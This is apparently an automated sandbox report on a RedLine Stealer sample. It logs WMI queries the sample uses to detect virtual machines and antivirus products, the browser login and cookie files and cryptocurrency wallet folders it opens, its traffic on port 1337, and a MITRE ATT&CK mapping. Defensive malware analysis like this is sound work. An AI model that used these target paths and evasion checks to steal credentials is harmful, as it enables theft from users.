Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: build.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\build.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\build.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\build.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Users\user\Desktop\build.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: build.exe, 00000000.00000002.1424412261.0000000003366000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000000.00000002.1424412261.00000000033DB000.00000004.00000800.00020000.00000000.sdmp, tmp6814.tmp.0.dr, tmp6801.tmp.0.dr, tmp6802.tmp.0.dr, tmpFBC8.tmp.0.dr, tmpFBE9.tmp.0.dr, tmp6826.tmp.0.dr, tmp6825.tmp.0.dr, tmpFBD8.tmp.0.dr, tmp6813.tmp.0.dr, tmpFBFA.tmp.0.dr, tmpFBFB.tmp.0.dr, tmpFC0B.tmp.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: build.exe	Virustotal: Detection: 81%
Source: build.exe	ReversingLabs: Detection: 86%

Source: unknown	Process created: C:\Users\user\Desktop\build.exe "C:\Users\user\Desktop\build.exe"
Source: C:\Users\user\Desktop\build.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\build.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Section loaded: ntmarta.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: build.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: build.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: build.exe

Static PE information: 0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 1337
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 1337
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 1337
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 1337
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 49703

Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\build.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\build.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\build.exe	Memory allocated: 13B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Memory allocated: 2E40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Memory allocated: 4E40000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\build.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\build.exe	Window / User API: threadDelayed 2164			Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Window / User API: threadDelayed 7561			Jump to behavior

Source: C:\Users\user\Desktop\build.exe TID: 7368

Thread sleep time: -34126476536362649s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\build.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\build.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: tmp9DD8.tmp.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: tmp9DD8.tmp.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: tmp9DD8.tmp.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: tmp9DD8.tmp.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: tmp9DD8.tmp.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: tmp9DD8.tmp.0.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: tmp9DD8.tmp.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: tmp9DD8.tmp.0.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: tmp9DD8.tmp.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: tmp9DD8.tmp.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: tmp9DD8.tmp.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: tmp9DD8.tmp.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: tmp9DD8.tmp.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: tmp9DD8.tmp.0.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: tmp9DD8.tmp.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: tmp9DD8.tmp.0.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: build.exe, 00000000.00000002.1423510111.00000000010DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: tmp9DD8.tmp.0.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: tmp9DD8.tmp.0.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: tmp9DD8.tmp.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: tmp9DD8.tmp.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: tmp9DD8.tmp.0.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: tmp9DD8.tmp.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: tmp9DD8.tmp.0.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: tmp9DD8.tmp.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: tmp9DD8.tmp.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: tmp9DD8.tmp.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: tmp9DD8.tmp.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: tmp9DD8.tmp.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: tmp9DD8.tmp.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: tmp9DD8.tmp.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: tmp9DD8.tmp.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\build.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\build.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\build.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\build.exe	Queries volume information: C:\Users\user\Desktop\build.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\build.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\build.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\build.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\build.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\build.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\build.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\build.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: build.exe, type: SAMPLE
Source: Yara match	File source: 0.0.build.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1247883969.0000000000B82000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1424412261.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build.exe PID: 4040, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\build.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\build.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\Desktop\build.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: Yara match	File source: build.exe, type: SAMPLE
Source: Yara match	File source: 0.0.build.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1247883969.0000000000B82000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build.exe PID: 4040, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: build.exe, type: SAMPLE
Source: Yara match	File source: 0.0.build.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1247883969.0000000000B82000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1424412261.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build.exe PID: 4040, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Masquerading	1 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	2 Data from Local System	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	241 Virtualization/Sandbox Evasion	Security Account Manager	241 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	113 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
build.exe	81%	Virustotal		Browse
build.exe	87%	ReversingLabs	ByteCode-MSIL.Infostealer.RedLine
build.exe	100%	Avira	HEUR/AGEN.1305500
build.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
api.ip.sb	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://schemas.datacontract.org/2004/07/	0%	URL Reputation	safe
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	URL Reputation	safe
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	URL Reputation	safe
https://api.ip.sb	0%	URL Reputation	safe
http://tempuri.org/Endpoint/CheckConnectResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/EnvironmentSettings	0%	Avira URL Cloud	safe
http://ns.adob/1.0/	0%	Avira URL Cloud	safe
http://ns.adobe.0/xmp	0%	Avira URL Cloud	safe
